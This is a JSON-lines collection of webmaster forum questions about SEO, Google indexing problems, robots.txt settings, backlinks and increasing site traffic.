{"id":"58594","title":"SEO doubts regarding keyphrase and autosuggestion","text":"I know on page optimization techniques. What is the best and proven way for offpage optimization for ranking a key phrase? Is it: 1. to build as much backlinks to your site ? 2. or build as much backlinks with the \"key phrase\" as anchor text in that link? 3. or any other teachnique? One more doubt I have. How to make your key phrase appear in Google autosuggest? For example: my companys name is \"amazing bamboo shop limited\". When I search in Google it shows upto \"amazning bamboo shop\". So how can I add this \"limited\" to that autosuggestion."}
{"id":"47142","title":"Googlebot ignore my new site","text":"I have the following situation: I had a blog (made using Joomla) that in some month was pretty indexed by Google. For some technical problem I have delete it and I have newly created using WordPress (so it is a different site, only the URL it is the same) and I have reinserted manually all the articles. Looking at my statistics I can see that there are many visitors that try to visit the old page (that now don't exist in the new site that have a different structure) The problems are the following one: it seems to me that Google Bot try to visit only the old pages (that don't exist) but it is ignoring the new pages of the new site (consequently not the indexes) Some day ago, I find that I have enabled the settings to deter search engines to index your site so I have change it and now, in theory, Google have to visit these pages and index it... Why this is not happening? How can I solve it? **REQUIRED INFORMATIONS:** The URL of my site is: http:\/\/www.scorejava.com\/ and this is my **robots.txt** content: # If the Joomla site is installed within a folder such as at # e.g. www.example.com\/joomla\/ the robots.txt file MUST be # moved to the site root at e.g. www.example.com\/robots.txt # AND the joomla folder name MUST be prefixed to the disallowed # path, e.g. the Disallow rule for the \/administrator\/ folder # MUST be changed to read Disallow: \/joomla\/administrator\/ # # For more information about the robots.txt standard, see: # http:\/\/www.robotstxt.org\/orig.html # # For syntax checking, see: # http:\/\/www.sxw.org.uk\/computing\/robots\/check.html User-agent: * Disallow: \/administrator\/ Disallow: \/cache\/ Disallow: \/cli\/ Disallow: \/components\/ Disallow: \/images\/ Disallow: \/includes\/ Disallow: \/installation\/ Disallow: \/language\/ Disallow: \/libraries\/ Disallow: \/logs\/ Disallow: \/media\/ Disallow: \/modules\/ Disallow: \/plugins\/ Disallow: \/templates\/ Disallow: \/tmp\/ The strange think is that in the robots.txt comment makes reference to Joomla and WordPress...maybe is still use the old robots.txt file of the previous website (that was in the same space)?"}
{"id":"33344","title":"Companies that provide SEO solutions?","text":"> **Possible Duplicate:** > What are the best ways to increase a site's position in Google? I've seen a lot of those companies around, saying that they could improve my website's ranking in search engine results, The thing is, that they say you'll be on the first \/ second page, guaranteed. I tried to contact a few of them, and they are charging a nice amount of money for it, The cheapest I found was about 5,000$, Now I didn't believe that they could make a huge change, but I did see that a few of their customers did get to the first pages fast, while leaving bigger and more experienced companies behind, I'm quite sure that I could hear about their way of doing that, and maybe even do it myself. So do you have any idea what those companies do to improve the ranking?"}
{"id":"54522","title":"Wordpress Website issue","text":"I have my website in WordPress. Now the problem is if I search any keywords in Google related to website webpages then it doesn't show any webpage result in web results. But if I search in Google blog result then It is showing my webpages in Google blog results. I want to know what is problem with my webpages. Why they are coming in Google blog search instead of Google web search?"}
{"id":"55612","title":"Getting key phrase into google index","text":"Few weeks ago I generated some content on my site. Now I am getting many visits from google, but those visits are from phrases that were in the content I added. But the most important key phrase was not in this content - but I added this key phrase in every title of every page possible. But still this phrase is not appearing on google. So my question is: how do I get google to index my site with a specific key phrase so that my site will appear on the first page? That phrase has not many competitors, there are about 2-3 sites that are kindof big, but the rest are just as small and unpopular as my page is."}
{"id":"53354","title":"Increase Website Traffic","text":"I make one website for online shopping deals and offer code but last 5 to 6 months i updated every day but traffic not increased i request to all SEO Expert please suggest us. how to increase my website traffic."}
{"id":"29530","title":"Google not indexing home page","text":"I have two sites that I'm trying to generate traffic with, and for whatever reason, Google does not seem to want to index the home pages. Other pages on the site are indexing just fine. I need to get these home pages indexed obviously, or perhaps reassess strategy if it's not going to happen. Has anyone seen this before, or can see something wrong with my home pages from Google's perspective?"}
{"id":"30798","title":"Google Index problem","text":"I forwarded my site to Google, because Google is not indexing my site. I do not understand why. My website has many backlinks from other sites. What can I do?"}
{"id":"30892","title":"Increasing traffic for music blog","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I own a music blog with some articles and of course youtube iframes and mp3 listening plugins. I get traffic from google and some not very popular site (I don't mention it because you can think it's a SPAM) where I post links with pictures to my posts. Any ideas to get more traffic for this kind of blog? I know about Myspace, blog directories, video sharing sites, same niche blogs and relevant forums. Anything I'm missing? Thanks in advance"}
{"id":"52102","title":"show my blog content in google search","text":"Recently, I created a blog in Blogger.com(or blogspot.com). My problem is that I can't see my content when I search on google for it. Similarly, I created the same page using Wordpress.com which shows the content on search on google. What should I do to show my content on google search using blogger? **EDIT** : ( _Edited after this **post**_ ) More specific question - what part of a blogger blog does google search. I get the impression that it searches the header and the posts, but not the widgets, so if you are using the blog more as a website, your widget content won't get searched. I may be wrong though. Does anyone know exactly what is searched, heading, subheading, widgets and posts? Please help I am new to blogspot.com or blogger.com"}
{"id":"53206","title":"Is it normal to not be indexed in Google after a month?","text":"I started 2 new sites at pretty much the same time. They are both small blogs, running the exact same blogging software (even the same template). The content is different, of course. One of them was indexed in Google 3 days after launch. The other one has not been indexed at all. It gets visited by Googlebot 1-2 times a week, but it won't show up in search results, even if I do a \"site:www.example.com\" search. Is this normal?"}
{"id":"16885","title":"Factors for websites enjoying solely on organic searches","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? What factors should we consider, when building an Q'n'A website which is solely based on organic searches? Note: I am gathering all information about starting a website driven solely on organic searches. **Even a minute detail here will help me a lot.** Please enlighten me. Thanks :)"}
{"id":"3486","title":"My site does not appear in the first 30 or more Google pages. What could be the reasons?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I did this site about 2 months ago: www.pbg-bulgaria.com The problem is that I cannot find the site, for keywords such as “bulgarian properties” and related in the first 30 or even more Google pages. The tool I'm using for Google position says that the site cannot be found in the first 100 pages, which is quite alarming. Google Analytics shows no traffic from generic keywords (only keywords associated with the name of the company) I know that a lot of improvements can be made: there is no h1 and h2 titles, I don’t have many backlinks yet, I can put some more keywords here and there, but overall I think the site is ok. In the Google Webmaster account everything looks fine as well. Do you have any suggestions?"}
{"id":"10546","title":"Indexing and Page Ranking Issues","text":"Hi all I am on the first page of google for keywords concerned with MOVING, however i cant seem to break the carpet cleaning rankings. I have made changes and additions which havent been indexed yet. Should i wait for the run or please please can someone give me pointers on the carpet cleaning indexing. Also i have 53pages submitted and only 38 indexed, where could the problem be. Is there software to check indexing hiccups . Thanks."}
{"id":"25210","title":"What major SEO steps have I forgotten?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I'm a Java developer-turned-impromptu-web-developer trying to help my father get his woodworking website off the ground. A week ago I knew (next to) nothing about SEO, and have spent a great deal of time revamping his site to meet Google's \" _white hat_ \" best practices. Here is a list of steps I've taken, and this question is nothing more than a formal request for commentary to see if I've made any grave errors (omission or commission!) that will hurt his site's rankings: * I've designed every page to have unique, brief\/terse, meaningful content * I've set him up with Facebook, Twitter & LinkedIn profiles and linked them to his website (both directions) * Each page is uniquely\/briefly\/meaningfully titled * I use 1-and-only-1 `<h1>` element per page * I have a single sentence _description_ `<meta>` tag * I have a list of about 20 common search phrases listed in the _keywords_ `<meta>` tag * I have populated every `<img>` tag with an `alt` attribute that contains a list of a few short, meaningful phrases (that are similar to the ones in the `<meta name=\"keywords\">` element * I have set him up with an HTML sitemap * I have placed a valid `sitemap.xml` in his webroot * I have placed a valid `ror.xml` in his webroot * I have placed a valid `robots.txt` in his webroot (contents are below) `robots.txt`: User-agent: * Disallow: (I want Google to crawl everything!) Several years ago I was under the impression that proper SEO involved actually submitting something to Google (like a sitemaps, etc.). But I couldn't find any reference to that while reading up on contemporary SEO best practices. Please, if anyone has any concise, effective recommendations for anything I've overlooked or done poorly, please let me know! As always, any hints, tricks or tips are enormously appreciated! Thanks in advance! **Edit:** I know its foolish to disregard other search engines, but Google is the biggest player and quite frankly, I only have the time & energy to make him rank highly in 1 of them, so Google is my choice."}
{"id":"63362","title":"What does SEO comprise of aside from meta tags?","text":"I have seen people add meta-tags to HTML pages containing keywords and then claim that the SEO was complete. Is this all that SEO is? And doing that, will your site automatically rank highly on a Google search page providing that there isn't too much competition for the search terms?"}
{"id":"53145","title":"SEO: why this site won't index?","text":"I recently built a one-page-site, All main pages are loaded via ajax, so they exist as standalone too versions as well in HTML format through jQuery, only pages' content is loaded in the one-page-site. I have created a sitemap and submitted all these things to Google Webmaster Tools, which tells me that everything is fine and pages are indexed and not blocked I also posted the site URL in some specific forums where people talk about main product (Chirofol); a Facebook page is also to be released soon Despite all these things, when I type \"chirofol\" on Google, the site is not even in the first three or four pages, and this is simply driving me mad."}
{"id":"30451","title":"How would i rank my keywords in Yahoo search engine?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I am working as search engine optimizer team lead in a company and facing problem in a project which name is http:\/\/www.Prooftech.com.sg... Problem :- The Website has 10 keywords for which my client wanted the top 10 Ranking in Yahoo Singapore search engine. I have got top 10 ranking for the following 7 keywords Waterproofing, RC Roof ,Wall Leakages ,Ceiling Leakages , Water Leakages ,Roof Tile Coating ,Roof Tiles Repair in my 3 months work but still i am not getting the listing positions for Roof ,Concrete Repair ,Grouting .... I have Done lot of Bookmarking ,Blog Commenting ,Blog Creations ,Press Release,Classified Ads to get these 3 keywords in listing but there is no changes in the results.... Can any help me out from this problem so i can get Good rankings for Roof ,Concrete Repair ,Grouting"}
{"id":"54559","title":"Adding tags for SEO in clothing website","text":"I am building a site for a women's accessories brand. The site has a Homepage, a Store page (where all accessories are displayed), a page for each of the accessories description, an about page and a contact page. There is also a whole set up for shopping cart and checkout (irrelevant to this question). My issue is the SEO. Where can I put the keywords? The home page has only the menu and some photos. The store page displays the items and its titles. Then the specific item's page has a description of the item (pulled from the database), category and price. However, I feel like this is not enough for SEO for google ranking. Where could I add tags in this type of site?"}
{"id":"38471","title":"What factors help in getting a site indexed by Google fast?","text":"> **Possible Duplicate:** > What are the best ways to increase a site’s position in Google? What should I do to get a site indexed on Google, fast? Taking example of Super User I just did a quick Google for a question that was 20 minutes old, to look for an answer, and it was already on Google Search - how is this possible? I glanced over this article which seems to suggest that SU has added RSS feeds (which SU has, but when I opened the feed the article says last posted 6 minutes ago, but when Googled it is 11 hours old) - which leads me to think (Based on that article, I don't know much about search indexing but I am reading at the moment) that most of this indexing is done thanks to the sitemap. is there anything else I am unaware of that helps SU questions get on Google so fast?"}
{"id":"30919","title":"What tags should be used for SEO in simple blog posts?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? > Order of HTML meta tags I'm new to websites in general (which is why I'm starting on blogger) and am just curious as to which tags I should be using in my posts? My posts generally include a title relevant to the keyword of my blog, an image, a video, my content, and a link to my twitter. I don't really use any tags and someone mentioned that they may help for SEO. So I figured I would ask for some advice from people who know what they are doing. **EDIT** I apologize for not clarifying, I meant tags such as: Header tag: <h1>This is my title<\/h1> Image tags with attributes: <img src=\"keyword_image.jpg\" width=\"100\" height=\"78\" ALT=\"this_shows_examples\"> What other tags and attributes are ones I should use for a well put together website and SEO?"}
{"id":"65402","title":"Designing a SEO friendly Website, should i follow any standard HTML format","text":"I am a web developer, developing a web site. I am considering how search engines index my pages. I observed a couple of sites which are ranking well in Google that make me doubt that I am doing it well. This is in the HTML structure of my page: <h1> <a href=\"\/index.html\" title=\"Web Design Practice\"> <img src=\"MyLogo.png\" alt=\"Web design Practice\" \/> <\/a> <\/h1> I am going to use \"web design practice\" as the keyword for which I wish to rank in Google. Is this good practice code in this way? Are there any SEO tactics to be considered? I read few articles which talk about white hat and black hat techniques, and I'm not sure which the above might be."}
{"id":"58939","title":"Increasing frequency of least searched keywords","text":"I am working in an organization,I have been given an work of SEO(its not my job actually is job related task). * A complete scenario about what the problem is given below: * I live and work in India,where there is very little awareness about products that are used by disabled people like screen magnifiers,specially designed keyboards for partially blind people. * The problem is that we are not getting enough hits from specific keywords List of keyword searched collected from `Google trends`(`Location`:India `Year`:2013) * **disabled** Max search:100(Google Trends URL:https:\/\/www.google.co.in\/trends\/explore#q=disabled&geo=IN&date=1%2F2013%2012m&cmpt=q) * **low vision product** Max Search:0((Google Trends URL: https:\/\/www.google.co.in\/trends\/explore#q=low%20vision%20product) * My boss wants the hits to the website from the keyword such as `disabled,low vision product,blind,deaf,dumb` etc. through **organic searches**. * The data collected from google trends show very less numbers for the above searches. My boss wants some ideas to increase the hits from these keywords. * In other word people should search the web using this keyword.Once these keywords search increases our website may increase hits(as the people would be aware after they start searching for this keywords). * My boss wants some ideas from me.I am completely blank about how to make the user search those terms in search engines(surely i cannot force them),but i can make them aware somewhat. Can anybody provide me with some suggestions..."}
{"id":"32823","title":"Control the ranking of my sites on Google","text":"> **Possible Duplicate:** > What are the best ways to increase a site's position in Google? I have two sites that I both control and have hooked up to Google Webmaster Tools as different sites. My problem is that one of the sites (Site A) was created as a preparation for the other site (Site B). Although I want Site A to still exist (even on Google), I would like to have Site B score better in search engines. Is there anything I can do implicit or explicit to make Google (and preferable also other search engine) prefer Site B's content over Site A's?"}
{"id":"52140","title":"How to enhance website product pages for SEO (Opencart, Google)","text":"I launched a UK wide furniture business, which I can appreciate is a very difficult industry to break into but none the less I have implemented the basics by ensuring I have: 1. Good meta data (titles, description, and keywords - eventhough it is ignored by Google) 2. Adequate H1 and H2 tags 3. Sitemap submission 4. Good quality content trying to keep the keywords within a certain percentage of all the text (~4%?). This has resulted in being within the top 10 SERP on Google for about 30 different keyword combinations as shown by GWT (Not the best of keywords but still giving me an online presence) My question is what can I do to further improve my position? Any general advice which I and others can implement to take it to the next level? Home page: http:\/\/www.imbued.co.uk\/ sample product page: http:\/\/www.imbued.co.uk\/sonya-three-sleeper-inc-storage-drawers-white"}
{"id":"16873","title":"Is using keywords in a domain enough to ensure a top position in Google?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? If I want to be listed top for the query \"where is obama from\", what more do I have to do beyond registering a keyword phrase domain such as whereisobamafrom.com?"}
{"id":"36109","title":"Site is not indexed on Bing","text":"My site is having a good ranking on google, but the site is not even indexed in yahoo and bing. I have submitted my site to both yahoo and bing search engines 3 months ago. I also submitted the sitemap of my site to bing webmaster tools. Even so, I don't find the site to be indexed. I want the site to be indexed on both yahoo and bing."}
{"id":"22017","title":"SEO tutorials and other learning materials","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? Please recommend one or two trustworthy SEO tutorials or any other reliable source of SEO wisdom. :) I watched the video tutorial from lynda.com and I liked it a lot, but I don't know how up to date it is. I am also reading SEObook by Aaron Wall. Do you think this is a good source? Thank you!"}
{"id":"59876","title":"Need help optimizing meta tags for a specific keyword","text":"I need to make my website appear when I google \"achar estacionamento\" (find parking lot in portuguese). Can you point some tips that could help me achieve this?"}
{"id":"48303","title":"Missing from Google","text":"Recently I noticed our site no longer appeared in Google search results. Our site has be in Google for the last 3 years without any issues. So far I've check: * In the Web Master tools it says there are no crawl errors and that we have pages indexed. * In the Web Master tools I've checked that the robot.txt file is reachable by google and works as expected. * In the Web Master tools I've test that google can reach our site and then submitted the site to be indexed. * In a page rank checking tool it says our page rank is N\/A. * I've submitted a check to see if Google banned us, which came back fine. * I've added a sitemap.xml file. (Although our site content is pretty static) Our site is: www.hiveintelligence.com"}
{"id":"30485","title":"Competing against existing well ranked Websites","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? What can I do to compete against existing established websites with Google page rank 3? I will try to add more keyword to my site by populating my website with similar articles (not copies) present on the other websites, but will my page get a good ranking since they have good SEO with lots of good articles and Facebook followers? How can I get customers?"}
{"id":"57425","title":"How can I make my website appear in the top position of Google?","text":"I have added some of the keywords in a meta tag, but my site is still not in the top position when Googled. How can I achieve this?"}
{"id":"22086","title":"Best S.E.O. practice for backlinking etc","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I'm currently working on a website that I am really looking to optimise in terms of search engines, i've been submitting between 5-20 directory submissions daily, i've validated and optimised my code and i've joined a lot of forums etc to speak of the website in question, however, I don't seem to be making much of an impact in terms of Google. I know that S.E.O. takes a while to start making an impact, and that Google prefers sites that a regularly updated and aged, but are there any more practices that can really help with organic results in Search engines. I have looked on Google itself, and a few other SE's but nobody is willing to talk about extensive S.E.O. practices as they normally don't want people knowing their formula's for S.E.O., also does anyone know of a decent piece of software that really looks into the in's and out's of your page and provides feedback, I usually use http:\/\/www.woorank.com, but only using one program doesn't show if it's exactly correct in what it's saying. If anyone could help it would be much appreciated, thank you very much."}
{"id":"10548","title":"Move subdomain into subdirectory SEO question","text":"I have read this article: http:\/\/www.mattcutts.com\/blog\/subdomains-and- subdirectories\/ But I'm not 100% clear if moving my subdomain website into a subdirectory on the main domain would change anything related to SEO. I inherited this structure: > 1. Informational site related to our specific industry lives at: > http:\/\/website.com > 2. StoreFront where we sell product related to our industry lives at: > http:\/\/store.website.com > The informational site gives a lot of good information on how to use the products we sell. The storefront is primarily used for the ecommerce function of selling the products, but there is a lot of info specific to the products on that site. **Question:** Is our main domain http:\/\/website.com getting page rank credit for the product info contained at http:\/\/store.website.com? Would there be a benefit to changing the structure?"}
{"id":"17791","title":"django websites and google","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I have recently finished one of my side projects. Now many sites have things like robot.txts (probably not the best file to describe what i need but you get what I mean) and things of that nature not totally sure what else there is but things behind the scenes that sites use to identify themselves to things like google, yahoo, and bing(but I could have just said google! zing!) I was wondering, what I needed to add to my site for it to be fully web compliant and searchable and proper. I am basically looking for best practices. Thanks."}
{"id":"48919","title":"What do first for SEO activity?","text":"I'm newbie in SEO tasking but I motivate to be SEO master. I have done create any website. So, whats do the best first for SEO activity for good SEO in the future? How long any website can be high PageRank?"}
{"id":"67687","title":"SEO of your website","text":"Hello I am now learning new things to apply SEO of my website. What are the concepts and tools which I need to follow or use to make my site optimize and how to check about my website is it optimize or not. Thanks in advance."}
{"id":"22837","title":"Is there any good authoritative source of information on SEO practices that is backed up by data?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? Any google search for anything about SEO yields more articles than you can shake a stick at, but lot of the articles are out of date, many have conflicting advice and I just about none of them ever give any reasons\/proof\/data to back up their claims about what works and what doesn't. Has anyone done any at least somewhat scientific tests to see what works and what doesn't (and ideally why?) or has anyone from Google released any non- basic information about best practices? Really what I would love to do is A\/B test different SEO techniques, but the time lag and sheer number of variables makes it very difficult. Has anyone ever tried this type of thing? (And published their results?)"}
{"id":"54052","title":"If Googlebot is crawling 25 pages per day, why isn't my website indexed by Google?","text":"I have created a word press site which is 2 months old and has 15 posts. The average crawl rate is 25 pages per day. Is that sufficient for my site to get some organic traffic from Google search? If it is not sufficient, what should I must do to increase crawl rate as well as site traffic organically? My site was http:\/\/how2impress.com\/"}
{"id":"52634","title":"Generating Back lInks","text":"I am new to this field of SEO. My site is intended to target local customers only. I want to generate quality backlinks for my site. Is there any tools to generate quality backlinks. Or blog sites to improve count of backlinks. I am trying to improve my page ranking . Any Other SEO tips also would be highly appreciated! Thanks in Advance"}
{"id":"43356","title":"SEO not indexing my site: \"A description for this result is not available because of this site's robots.txt – learn more.\"","text":"When googling my site I get following text under the result for my domain: > \"A description for this result is not available because of this site's > robots.txt – learn more.\" My robots.txt, which resides in the root of my V-host, looks like this: User-agent: * Disallow: I did have a problem with this file before since I forgot to change it from the test environment and then I had User-agent: * Disallow: \/ However, I did change it yesterday or the day before. I have been googling and this seems to be a correct way of handling it as it is now. Checking the access log of httpd for today, I can see that google has tried to it. But the access_log also shows that Googlebot has been accessing the most of my links as well, feels like ok indexing... Nothing in the error_log from today about robots.txt. What I cannot find is if google has been indexing \/index.php. But I guess folling entry is the same, isn't it?: > 66.249.75.179 - - [07\/Feb\/2013:15:23:01 +0100] \"POST \/ HTTP\/1.1\" 200 1 > \"http:\/\/www.mydomain.ext\/\" \"Mozilla\/5.0 (compatible; Googlebot\/2.1; > +http:\/\/www.google.com\/bot.html) What is my problem and how to I resolve it? **UPDATE** When testing in Googles Webmaster Tool I get (this is for my .com domain, all above as well): > Blocked by line 2: Disallow: \/ Detected as a directory; specific files may > have different restrictions And when doing the exact same thing with my .se domain, which points to the exact same content, I get: Allowed by line 2: Disallow: Detected as a directory; specific files may have different restrictions"}
{"id":"65336","title":"Links removed from google search results","text":"For my website www.trickwarehouse.com i have created one post on keyloggers. When i search in google that `what are keyloggers?` then my website's post position was 16 but after 1 hour, when i checked once again then **BOOOM!!!!** nothing found for my website within top 100 results. and also other keywords which was in top 100 results was shifted behind by 2-3 results...... Why it is happening? Any answers?"}
{"id":"56520","title":"OpenCart search engine optimization!","text":"What kind of procedures would be important to optimize opencart webshop for car parts? Thanks in advance"}
{"id":"53822","title":"Google crawling pages but not adding them to index","text":"I have a website for which Google has — according to Webmaster Tools — been crawling 1000-5000 pages per day. However, the number of pages _indexed_ (as judged by both the Webmaster Tools count and the result count for a `site:` search on Google) has remained fairly static for weeks now. What's going on, and why is this happening?"}
{"id":"10533","title":"What are the best SEO techniques for a professional blog?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? Beginner to SEO here, starting with a personal site, looking for some insight and feedback. Question: what's more important, domain name or site title? Question: how important are the meta tags (description and keywords) on your site? Description should be under 60 chars right? How many keywords is ideal? Question: #1 most important SEO principle = ?? (my guess is getting others to link to your site) -thanks."}
{"id":"25656","title":"How to be the first site in google search?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I searched the title of my website in google search, and although it is a very specific tile, I didn't find my site. My question is that how can be the first sites in google search? I heard that google doesn't look up `<meta>`s anymore and using another method.Is it true?"}
{"id":"21976","title":"Question about SEO and Domains","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? > Move subdomain into subdirectory SEO question This is my first post on here as I am mainly on Stackoverflow and Serverfault. I have been programming for at least 10 years now, have made hundreds of websites but I have just recently started getting into Design and the SEO side of sites, sad that I have been overlooking these for so many years. I have pretty good knowledge from all my years of SEO but I have never really looked into it until now. My question, I would like to build a site that targets many different key words for the search engines, for an example. Let's say I built a site about Outdoor activities called `outdoorreview.com` and I planned on having many sections `hunting` `fishing` `Hiking` `camping` `cycling` `climbing` `etc...` For best Search Engine results, how could I get the most search engine traffic to all these ares? Also how should I structure the way to get to them, `outdoorreview.com\/Hiking\/` or `hiking.outdoorreview.com` ?"}
{"id":"37599","title":"How can I increase traffic to my website?","text":"> **Possible Duplicate:** > How can I increase the traffic to my site? I developed a site with CMS wordpress, I am currently in the phase referencing, I would like to know how I can have to increase traffic for site visits."}
{"id":"52834","title":"Facebook and Website SEO","text":"I am the webmaster of a website, and one issue that I'm having is getting our home website to appear above our Facebook page. Are there any Google Webmaster Tools or meta data tricks I can employ to make our main website rank higher than our Facebook page?"}
{"id":"19356","title":"How do I get the word out about my site?","text":"> **Possible Duplicate:** > How can I increase the traffic to my site? This has plagued me for a long time now. I just can't seem to grasp internet marketing very well. I recently started a website to help people with anxiety, now I just have no idea how to make people aware of it. The website is free and doesn't even have ads. I don't have the money to put into Adwords right now...I've asked people to link my site but nobody wants to because they think it will take away from their own visits. How can I bring more hits to my site?"}
{"id":"43350","title":"Why aren't search engines indexing my content?","text":"> _This is a general, community wikicatch-all question and answer pair > intended to address any questions concerning the reasons a site or specific > site contents do not appear in search engine results._ > > _If your question was closed as a duplicate of this question and you feel > that the information provided here does not provide a sufficient answer, > please open a discussion onPro Webmasters Meta._ My site (or specific pages on my site) is not appearing in search engine results. Why isn't my content indexed and what can I do about it?"}
{"id":"68513","title":"Must-do regarding on site SEO","text":"I read a lot of articles regarding on site SEO. I focused mostly on Yoast SEO recommendations (since i'm using Wordpress) and Google guidelines. * Structured headings * Optimized site speed * Breadcrumbs * Updated sitemap * No-follow all external links * No index pages with content that is not unique What else should i do, to make my site more SEO optimized? Any recommended reading is welcome :) After making those changes, how soon should i notice some positive changes in page rankings?"}
{"id":"11623","title":"Order of HTML meta tags","text":"A SEO company suggested we change the order of our HTML meta tags so that `<title>` and `<meta name=\"description\">` are the first two. They say this is to ensure search engines can utilize these two tags. I've been under the impression that the order of tags inside the document's head is not significant. Have I been wrong? Are there really search engines that assume that the first two tags are always `title` and `description` and give up looking for them if they aren't?"}
{"id":"18730","title":"SEO optimizing Blogger blogspots","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? What are some way to optimize a Blogger blogspot for SEO? I have looked at several other articles, but they were old, so the tactics used won't work with the newer Blogger."}
{"id":"47231","title":"site appears in Google Webmaster Tools but no site: search results","text":"My site is geocology.ca. About a year ago I attempted to add geocology.ca to Google's search index by following the steps for 'Moving Your Site' in Google's Webmaster Tools, transferring from my old site at hughstimson.com. Everything seemed to go fine. * I submitted a sitemap for the new site, and it was read successfully. * I added a robots.txt file with a single entry ALLOWing all user agents, and it quickly showed up in Webmaster Tools, properly registered. * When I go to Google Webmaster tools there are no errors and no complaints. **BUT** : my site never appeared in Google's search results. At all. Searching for site:geocology.ca produced no results. After a couple of months I added a small wordpress blog in a sub-domain, as a sandbox for a client. That blog quickly showed up in Google's index, and now if you search for site:geocology.ca the content of that (fake) blog is all that will appear. Does anyone know how I can address this? Is there perhaps a way to completely reset Google's knowledge about my site and start again?"}
{"id":"47766","title":"Why do all pages bar the home page turn up in Google?","text":"Our website is made with WordPress. The menu pages all turn up in Google searches, but the index page doesn't. The index page is absent; the others are there. Why would this be?"}
{"id":"23501","title":"Landing page not appearing on google","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I a have a website which describes every product made by the company and it appears on google, which is fine. Now i also made a nice landing page, in its own domain, for one product. The page shows a demo video and has a link to the full website that the visitor is supposed to click if he wants to learn more about the product. The problem is that the page does not have text content, just the video and the link. So Google doesn't know what it is about. I added meta keywords and alt attributes but this didn't help, the page is not listed on the results. What should i do to make it appear on Google?"}
{"id":"3472","title":"Site not indexed by Google","text":"I typed the following on Google: (1) site: uniquevolve.com (2) site: uniquevolve.com.au Only (2) gets indexed. Is this normal? The strange thing is, my Website is actually hosted on the server with domain (1) and domain (2) only redirects to (1). How do I get (1) indexed by Google? Thank you in advance."}
{"id":"33343","title":"Did what I can to keep my website SEO friendly, yet newer websites are ranked better?","text":"> **Possible Duplicate:** > What are the best ways to increase a site's position in Google? I have a website that gives information about weddings, My site has been up for almost two years now, I designed it and programmed it entirely, While developing my website I tried to keep it SEO-friendly, I read about SEO at random websites, read articles about it and such. Nowadays my website is still quite bad with the \"big\" words such as \"Wedding\" (Not in english) My budget for advertising is not the biggest, I am thinking of advertising with AdWords but I don't think that it really affects SEO, does it? The thing is that about two months ago, I found a new website that does pretty much what my site does, it was after me in google's results, but suddenly started climbing up, now it's on the first page. How does one do such a thing? I looked into the domain history, and is newer than mine as well. I never thought that it's possible to go up so fast , I saw some companies that go around and say that you will be on the first \/ second page for sure if you pay them a nice amount of money, but I thought that I could skip this because as far as I heard SEO is not really controlled by these people, what they could do is just change a few things in my design to make it even more SEO-friendly, and maybe link to my site from random forums and websites. Am I wrong though? can they really guarantee such a thing? Is there any \"SEO Magic\" that I dont know of? I'd love to hear what you guys have to say about this and know more about how to improve my website's ranking Thanks"}
{"id":"68954","title":"Problem indexing my site","text":"I developed a site but I've got some problems to index it. I've got 10 pages but when I search my site on google the first result is the page \"contact\" and not \"index\". I have included title and meta tag description and keywords in the index page but the result is the always the same."}
{"id":"39529","title":"Blog is not indexing in google search","text":"I have a blog with url http:\/\/webzpedia.blogspot.in which is about 2 years old. In early days there is 200+ pageviews coming from the google search itself. But from last 4-5 months, google stopped indexing my blog in its search results. Can anyone answer why this happening?"}
{"id":"30915","title":"How to promote travel blog?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? > How can I increase the traffic to my site? I know this question might seem a little off topic, but blogging may become important part of travel. Nowadays, in time of Facebook, Twitter and similar services, keeping a travel blog may seem a little _archaic_. It's not 2005 anymore. But a lot of my travel colleagues update their blogs and have significant number of readers. I also tried to keep my blog when I travel. However it seems that the only reader is my mum ;) **What is your advice on promoting a _travel_ blog?**"}
{"id":"10265","title":"How to start learning SEO","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I'm a web developer (.NET) and a newbie to the SEO world! Where and how to start ? What are the steps to go from a newbie to be a more experienced SEO ? Thanks in advance =)"}
{"id":"34151","title":"My website not getting any traffic, How to get traffic?","text":"> **Possible Duplicate:** > How can I increase the traffic to my site? I have done pretty nice SEO of my website , the website is made in php , anyone can submit article and the submitted articles are moderated by the moderators , the site is online from more then a month but still the user count is 10-20 only total impressions are 700 according to webmaster google , how much time does google webmaster takes to refresh the data , cause from 3 -4 days the impressions shown in the dashboard are 700 only , I am posting 2 article each day , please help me , I am very disappointed with all my effort and i really need a good motivation to carry on my work. Please help my website url is http:\/\/www.viewloud.com"}
{"id":"55223","title":"Is Anyone Facing Ranking Problem with their Website and indexing is quietly fine?","text":"My Website gosarkarinaukri and sarkarinaukricareer both are Indian Educational Portal, if i update my pages on these websites, it get indexed by Google but they are not ranked properly as they used to do. Problem is, when i copy entire title and paste in Google, Google doesn;t show any Result from my website? Is anyone facing same problem, suggest me any good."}
{"id":"35284","title":"Only 10% of my site are indexed","text":"I'm newbie in Google Webmaster Tools and I use sitemap.xml to submit urls. The problem is that I've submitted 150 urls and only 17 are indexed! Is that a problem or they will be indexed later?"}
{"id":"15568","title":"Hoping to boost traffic to NFP site. SEO info? HELP!","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I'm doing work for a not-for-profit looking to boost traffic to the site. I need to learn a tremendous amount about SEO and backlinking in a short length of time. Any tips you can give me, or sites you can refer me to, I'll be most grateful. A million thanks, Chaz"}
{"id":"217","title":"How can I increase the traffic to my site?","text":"I don't want to do link exchanges or anything shady. I just want some legitimate ways that I can direct a little bit more traffic to my site. How do I do that?"}
